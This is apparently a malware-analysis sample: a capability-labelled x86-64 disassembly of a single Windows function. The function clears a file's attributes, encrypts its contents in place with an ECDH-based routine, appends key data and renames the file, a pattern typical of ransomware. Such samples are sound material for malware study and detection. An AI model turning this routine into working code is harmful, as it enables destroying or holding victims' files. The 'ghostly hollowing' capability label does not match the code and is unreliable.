Function at 0x140001040
Capabilities:
Process ghostly hollowing
Read file on windows
Set file attributes
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push r14
push r15
lea rbp, [rsp - 0x390]
sub rsp, 0x490
mov rax, qword [0x14000a038]
xor rax, rsp
mov qword [rbp + 0x380], rax
mov r14, rcx
mov rdx, rcx
lea rcx, [rbp - 0x60]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rax, [rbp - 0x60]
mov dword [rsp + 0x28], 0x20
xorps xmm0, xmm0
mov qword [rbp - 0x80], rax
xor r15d, r15d
mov dword [rsp + 0x70], 0x30
lea r9, [rsp + 0x60]
mov qword [rsp + 0x78], r15
lea r8, [rsp + 0x70]
mov dword [rbp - 0x78], r15d
mov edx, 0xc0110000
mov dword [rsp + 0x20], 7
lea rcx, [rsp + 0x50]
movdqu xmmword [rbp - 0x70], xmm0
call qword [sym.imp.ntdll.dll_NtOpenFile]
test eax, eax
je 0x140001199
cmp eax, 0xc0000022
jne 0x140001192
mov dword [rsp + 0x28], 0x20
lea r9, [rsp + 0x60]
lea r8, [rsp + 0x70]
mov dword [rsp + 0x20], r15d
mov edx, 0x100100
lea rcx, [rsp + 0x50]
call qword [sym.imp.ntdll.dll_NtOpenFile]
test eax, eax
jne 0x140001199
movdqa xmm0, xmmword [0x140006af0]
lea r9d, [r15 + 0x28]
mov rcx, qword [rsp + 0x50]
lea r8, [rbp + 0x108]
movdqa xmm1, xmm0
mov dword [rbp + 0x128], 0x80
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x20], 4
movdqu xmmword [rbp + 0x108], xmm0
movdqu xmmword [rbp + 0x118], xmm0
call qword [sym.imp.ntdll.dll_NtSetInformationFile]
mov rcx, qword [rsp + 0x50]
mov ebx, eax
call qword [sym.imp.ntdll.dll_NtClose]
test ebx, ebx
jne 0x140001199
mov dword [rsp + 0x28], 0x20
lea r9, [rsp + 0x60]
lea r8, [rsp + 0x70]
mov dword [rsp + 0x20], 7
mov edx, 0xc0110000
lea rcx, [rsp + 0x50]
call qword [sym.imp.ntdll.dll_NtOpenFile]
test eax, eax
je 0x140001199
xor eax, eax
jmp 0x1400013ce
mov rax, r15
nop dword [rax]
mov byte [rbp + rax + 0xc0], al
inc rax
cmp rax, 0x18
jb 0x1400011a0
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x130]
call fcn.140002c40
test eax, eax
je 0x14000140a
xorps xmm0, xmm0
lea r8, [rbp + 0xd8]
lea rdx, [0x140006570]
lea rcx, [rbp + 0xc0]
movups xmmword [rbp + 0xd8], xmm0
movups xmmword [rbp + 0xe8], xmm0
movups xmmword [rbp + 0xf8], xmm0
call fcn.140002d70
test eax, eax
je 0x14000140a
xorps xmm0, xmm0
lea r8, [rbp + 0xb0]
lea rdx, [rbp + 0xd8]
lea rcx, [rbp - 0x50]
movups xmmword [rbp + 0xb0], xmm0
call fcn.140002690
mov ecx, 0x4000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x4b8], rsi
mov rbx, rax
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x4c0], rdi
nop dword [rax]
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x40], r15
xor r9d, r9d
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov dword [rsp + 0x30], 0x4000
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rbx
xor edx, edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_NtReadFile]
test eax, eax
jne 0x1400013f2
mov edi, dword [rsp + 0x68]
lea rcx, [rbp - 0x50]
mov r8d, edi
mov rdx, rbx
call fcn.140002360
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x40], r15
xor r9d, r9d
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov dword [rsp + 0x30], edi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rbx
xor edx, edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_NtWriteFile]
test eax, eax
jne 0x1400013f2
add qword [rsp + 0x58], rdi
cmp edi, 0x4000
je 0x140001250
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x40], r15
xor r9d, r9d
mov qword [rsp + 0x38], rax
xor r8d, r8d
lea rax, [rbp + 0x130]
mov dword [rsp + 0x30], 0x30
mov qword [rsp + 0x28], rax
xor edx, edx
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_NtWriteFile]
test eax, eax
jne 0x1400013f2
mov rax, qword [section..data]
lea r8, [0x140006880]
mov r9, r14
mov qword [rsp + 0x20], rax
mov edx, 0x104
mov byte [rbp + 0x160], 1
lea rcx, [rbp + 0x174]
mov qword [rbp + 0x168], r15
call fcn.140001cb0
test eax, eax
jle 0x1400013f2
mov rcx, qword [rsp + 0x50]
lea r9d, [rax + rax]
mov dword [rbp + 0x170], r9d
lea r8, [rbp + 0x160]
add r9d, 0x18
mov dword [rsp + 0x20], 0xa
lea rdx, [rsp + 0x60]
call qword [sym.imp.ntdll.dll_NtSetInformationFile]
mov rcx, rbx
test eax, eax
jne 0x1400013f5
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ntdll.dll_NtClose]
mov eax, 1
mov rsi, qword [rsp + 0x4b8]
mov rdi, qword [rsp + 0x4c0]
mov rcx, qword [rbp + 0x380]
xor rcx, rsp
call fcn.140003a40
mov rbx, qword [rsp + 0x4c8]
add rsp, 0x490
pop r15
pop r14
pop rbp
ret
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ntdll.dll_NtClose]
xor eax, eax
jmp 0x1400013be
lea rcx, str.ecdh_crypto_error
call fcn.1400017b0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3